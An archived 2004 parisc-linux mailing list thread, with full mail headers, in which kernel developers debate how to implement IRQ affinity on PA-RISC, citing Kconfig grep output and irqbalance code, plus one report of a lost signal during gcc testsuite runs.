List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21929

On Tue, Aug 31, 2004 at 08:28:11PM +0100, Matthew Wilcox wrote:
> So PA-RISC supports ISA and ia64 doesn't :-P

yes, thanks for the correction. You are right.
I was staring at arch/ia64/kernel/iosapic.c...only it has ISA support.

> > Seriously, what problem does LASI bring that can't be handled with
> > a global array?
> 
> The subdevices that can't have their own processor interrupt.

That has nothing to do with using a global IRQ array.
It just means LASI subdevices can't be redirected individually.
They will still be assigned a global IRQ number.
PCI devices using IRQ lines below DINO will have the same problem.
Ditto for E/ISA support under WAX.

thanks for the correction,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 20:28:11 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <20040831192811.GB642@parcelfarce.linux.theplanet.co.uk>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<20040831174357.GQ16196@parcelfarce.linux.theplanet.co.uk>
	<20040831180635.GF20353@colo.lackof.org>
	<20040831185750.GS16196@parcelfarce.linux.theplanet.co.uk>
	<20040831192112.GH20353@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623538 10885 80.91.229.3 (22 Nov 2014 02:32:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:18 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16676 invoked by uid 65534); 31 Aug 2004 19:28:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx046) with SMTP; 31 Aug 2004 21:28:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7C6103BDFF; Tue, 31 Aug 2004 13:28:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14899-03; Tue, 31 Aug 2004 13:28:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 412463BE2E; Tue, 31 Aug 2004 13:28:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A23DF3BDFF
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:28:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14252-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:28:12 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 5329D3BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 13:28:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C2EId-0001Cl-2q; Tue, 31 Aug 2004 20:28:11 +0100
Content-Disposition: inline
In-Reply-To: <20040831192112.GH20353@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21930

On Tue, Aug 31, 2004 at 01:21:12PM -0600, Grant Grundler wrote:
> On Tue, Aug 31, 2004 at 07:57:50PM +0100, Matthew Wilcox wrote:
> > > Looks like that's what ia64 is doing and I don't see a problem with it.
> > 
> > ia64 doesn't have Lasi.
> 
> No, but ia64 supports ISA. :^)
> (They have their own evils to deal with)

Er.  Says who?

$ grep ISA arch/ia64/Kconfig 
          your box. Other bus systems are ISA, EISA, MicroChannel (MCA) or
config DISABLE_VHPT
$ grep ISA drivers/parisc/Kconfig 
menu "Bus options (PCI, PCMCIA, EISA, GSC, ISA)"
          715/100.  Wax includes an EISA adapter, a serial port (not always
config EISA
        bool "EISA support"
          Say Y here if you have an EISA bus in your machine.  This code
          supports both the Mongoose & Wax EISA adapters.  It is sadly
config ISA
        bool "ISA support"
        depends on EISA
          If you want to plug an ISA card into your EISA bus, say Y here.

So PA-RISC supports ISA and ia64 doesn't :-P

In any case, ISA devices don't have subdevices.

> Seriously, what problem does LASI bring that can't be handled with
> a global array?

The subdevices that can't have their own processor interrupt.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 14:21:58 -0600
Lines: 101
Approved: news@gmane.org
Message-ID: <20040831202158.GB24477@colo.lackof.org>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831171421.GC20353@colo.lackof.org>
	<1093974552.3643.22.camel@mulgrave>
	<20040831183415.GG20353@colo.lackof.org>
	<1093981554.5296.14.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623539 10886 80.91.229.3 (22 Nov 2014 02:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:19 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26572 invoked by uid 65534); 31 Aug 2004 20:22:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 31 Aug 2004 22:22:30 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 16E273BEA4; Tue, 31 Aug 2004 14:22:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15326-04; Tue, 31 Aug 2004 14:22:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 438AE3BE9A; Tue, 31 Aug 2004 14:22:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AD903BE25
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:22:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15326-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:22:00 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id EB2353BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:21:59 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 61E6B298121; Tue, 31 Aug 2004 14:21:59 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24886-07; Tue, 31 Aug 2004 14:21:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1FD44298056; Tue, 31 Aug 2004 14:21:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1093981554.5296.14.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21931

On Tue, Aug 31, 2004 at 03:44:14PM -0400, James Bottomley wrote:
> On Tue, 2004-08-31 at 14:34, Grant Grundler wrote:
> > Ok. Why?
> 
> Because the only interrupts we can control the affinity of are the true
> 32/64 CPU interrupts. Everything else is effectively hanging off one of
> these.

Yes - agreed.

>  If we try to pretend that we can change the affinity of the
> subordinate interrupts, we'll end up confusing irqbalanced

We don't need to pretend anything.
irqbalance-0.9 looks for smp_affinity entry in /proc:

        for (i = 0; i < MAX_INTERRUPTS; i++) {
                /* shortcut: if old and new cpu are identical, don't do a thing
*/
                if (interrupts[i].oldcpu == interrupts[i].cpu)
                        continue;
                if (interrupts[i].type == IRQ_INACTIVE)
                        continue;
                snprintf(filename,255,"/proc/irq/%i/smp_affinity",i);
                file = fopen(filename, "w");
                if (file==NULL)
                        continue;
                if (interrupts[i].cpu < MAX_CPU)
                        fprintf(file,"%x",1<<interrupts[i].cpu);
                else
                        fprintf(file,"ffffffff");
                fclose(file);
        }

We can just not create smp_affinity entries for anything that doesn't
talk directly to a CPU.

On a related issue:
Can we represent per CPU EIRR switch tables with this scheme?
I know we can with existing IRQ regions.
I think not with the new scheme since only one global IRQ maps to
one EIRR bit on all CPUs.

I think we need to disassociate a global IRQ table from the CPU EIRR
switch tables. I'm ok with this for a future project but want to
sketch out what needs to change in order to make it happen.
I suspect this would be a cool project for ESIEE or someone
like that. :^)

> > I'd really like one method to convert GSI to local interrupt numbers.
> > Doing away with local translations and directly indexing into a global
> > array seems the most obvious to me.
> 
> I know, but our interrupt structure isn't a flat array, it's a tree with
> the root being a given CPU interrupt.  Obviously, since we have to give
> some cookie to the devices to identify the interrupt, we end up having a
> numeric array.

Yes. A numeric array isn't a flat array?
Global IRQ #s still makes the most sense to me.

I implemented the IRQ region support thinking the existing IRQ hierarchy
required a hierarchial data structure. But that was heavily influenced
by my previous experience with HPUX which does not use global IRQ numbers
to represent IRQ sources. The arch specific IRQ support really needs to
reflect whatever "core" identifier is used and today that is the global
IRQ number.

> > But we still want dino/PCI to work. So we have to replace the
> > existing abstraction with another one...
> 
> Yes, the abstraction for dino/PCI is that we allocate extra interrupts
> to the region, but they're unequivocally tied to the give CPU interrupt
> line the dino happens to be using.

Can you expand on how PCI IRQs will be generated/decoded?
or want to whack at an implementation first?

> > A single global array can implement a hierarchy as well.
> > Entries just contain indexes into other parts of the array.
> 
> Yes, but we need to expose only the cpu interrupts to irqbalanced.

No. We only need to expose smp_affinity "property".
I still want LASI/PCI IRQs to show up in /proc/interrupts statistics.
ie, they must have a globally assigned IRQ "cookie".

>   The
> problem is that for the purposes of affinity, we can't treat the
> fictitious subordinate interrupts as being ordinary independent
> interrupts.

We can. We just can't indicate they support SMP affinity.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: linux signal race fixes,
	patches against hppa tree, please te
Date: Tue, 31 Aug 2004 16:43:11 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200408312043.i7VKhBDp005965@hiauly1.hia.nrc.ca>
References: <200408310423.i7V4NXjb001644@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623539 10892 80.91.229.3 (22 Nov 2014 02:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:19 +0000 (UTC)
Cc: James.Bottomley@steeleye.com,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12644 invoked by uid 65534); 31 Aug 2004 20:56:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 31 Aug 2004 22:56:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B63E83BEA3; Tue, 31 Aug 2004 14:56:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15846-02; Tue, 31 Aug 2004 14:56:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4AC3C3BE9A; Tue, 31 Aug 2004 14:56:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47E263BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:56:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15326-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:56:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 910523BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:56:14 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i7VKhB45005966; Tue, 31 Aug 2004 16:43:12 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i7VKhBDp005965;
	Tue, 31 Aug 2004 16:43:11 -0400 (EDT)
In-Reply-To: <200408310423.i7V4NXjb001644@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Aug 31, 2004 00:23:33 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21932

> I've been running this now for three days on hiauly6 with a 32-bit
> 2.6.8.1-pa7 kernel (default c3000 config) doing almost continuous gcc
> builds.  Things seem pretty promising.  No random SIGSEGVs and expect
> seems to be behaving itself.

As usual, I have to eat my words.  The libjava "PR218 -O3 execution -
source compiled test" hung in the libjava testsuite on the next gcc
build.  Looking at libjava.log, I see that there is no "WARNING:
program timed out." message for this test.  Thus, the alarm signal
for this test somehow got lost.  The testsuite continued after I
killed PR218.exe.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@wolfbutter.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 16:26:16 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <200408311626.16860.mszick@wolfbutter.com>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831192112.GH20353@colo.lackof.org>
	<20040831192811.GB642@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623539 10896 80.91.229.3 (22 Nov 2014 02:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10664 invoked by uid 65534); 31 Aug 2004 21:25:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 31 Aug 2004 23:25:58 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E3DE43BEA0; Tue, 31 Aug 2004 15:25:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15861-06; Tue, 31 Aug 2004 15:25:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 000D63BEA1; Tue, 31 Aug 2004 15:25:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06F653BE9A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 15:25:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15846-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 15:25:22 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 1ECD83BD31
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 15:25:22 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.12.9p2/8.12.9) with SMTP id
	i7VLPFHE049360 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 14:25:15 -0700 (PDT)
	(envelope-from mszick@wolfbutter.com)
Original-Received: from [66.90.218.57] (via account wolfbutter.com)
	by mx-out.daemonmail.net with ESMTP id qM42c1f5
	authenticated by SMTP; Tue, 31 Aug 2004 14:25:13 -0700 (PDT)
User-Agent: KMail/1.6.2
In-Reply-To: <20040831192811.GB642@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21933

On Tue August 31 2004 14:28, Matthew Wilcox wrote:
> On Tue, Aug 31, 2004 at 01:21:12PM -0600, Grant Grundler wrote:
> 
> In any case, ISA devices don't have subdevices.
> 
Perhaps not in the sense you are speaking of (not
in the terms that PCI does)...

But, for instance, DigiBoard has 4, 8, (16?) subdevices
which are distingushed in the driver in cooperation with
the on-board processor.

Probably would fall into your irq tree just like an hp
buss device that doesn't let you diddle the interrupt
sources/assignment the other side of the device/
controller.

My point;
Perhaps you'll need to allow for a next
level tree at each EISA/ISA interrupt to support multi-port
serial boards and other 'intelligent' controllers.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for implementing IRQ affinity
Date: Tue, 31 Aug 2004 23:19:09 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20040831221909.GC642@parcelfarce.linux.theplanet.co.uk>
References: <1093923097.3870.18.camel@mulgrave>
	<20040831192112.GH20353@colo.lackof.org>
	<20040831192811.GB642@parcelfarce.linux.theplanet.co.uk>
	<200408311626.16860.mszick@wolfbutter.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623539 10900 80.91.229.3 (22 Nov 2014 02:32:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@wolfbutter.com>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24538 invoked by uid 65534); 31 Aug 2004 22:19:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 01 Sep 2004 00:19:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A56563BEA1; Tue, 31 Aug 2004 16:19:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16261-10; Tue, 31 Aug 2004 16:19:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2B98F3BE2B; Tue, 31 Aug 2004 16:19:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2D0D3BE16
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 16:19:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16261-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 16:19:14 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id F10973BD31
